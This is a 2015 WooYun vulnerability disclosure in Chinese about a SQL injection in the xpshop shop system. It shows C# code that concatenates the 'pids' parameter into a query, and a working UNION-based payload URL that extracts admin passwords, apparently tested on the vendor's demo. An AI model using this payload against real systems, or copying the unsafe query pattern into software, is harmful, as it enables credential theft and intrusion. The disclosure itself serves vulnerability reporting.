当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0147000
漏洞标题：
xpshop网店系统sql注入一处(官方demo演示)
相关厂商：
xpshop
漏洞作者：
不能忍
提交时间：
2015-10-15 18:28
修复时间：
2015-11-29 18:30
公开时间：
2015-11-29 18:30
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
11
漏洞状态：
未联系到厂商或者厂商积极忽略
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-10-15： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-29： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

漏洞位置xpshop.webui.Show:

private void GetImg(string pids)
		{
			ProductDB productDB = new ProductDB();
			DataTable thumbnailImg = productDB.GetThumbnailImg(pids);
			thumbnailImg.TableName = "Products";
			base.Response.Write(XpShopJson.DtToJSON(thumbnailImg));
		}


这里是问题函数，我就不写怎么跟进来的，就是page_load,等下直接用payload测试就好了，官网demo的。
跟进去GetThumbnailImg函数：

public DataTable GetThumbnailImg(string pid)
		{
			string commandText = "SELECT ProductID,ProductName,ThumbnailImg,CategoryID,CategoryNo FROM Product WHERE ProductID = " + pid;
			return XpShopDB.ExecuteDataTable(XpShopDB.ConnectionString, CommandType.Text, commandText, null);
		}


payload：
http://**.**.**.**/show.aspx?type=1&action=GetImg&pids=1 union select password,2,3,4,5 from admin--

漏洞证明：

http://**.**.**.**/show.aspx?type=1&action=GetImg&pids=1 union select password,2,3,4,5 from admin--

1.jpg

修复方案：

版权声明：转载请注明来源 不能忍@乌云

>

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝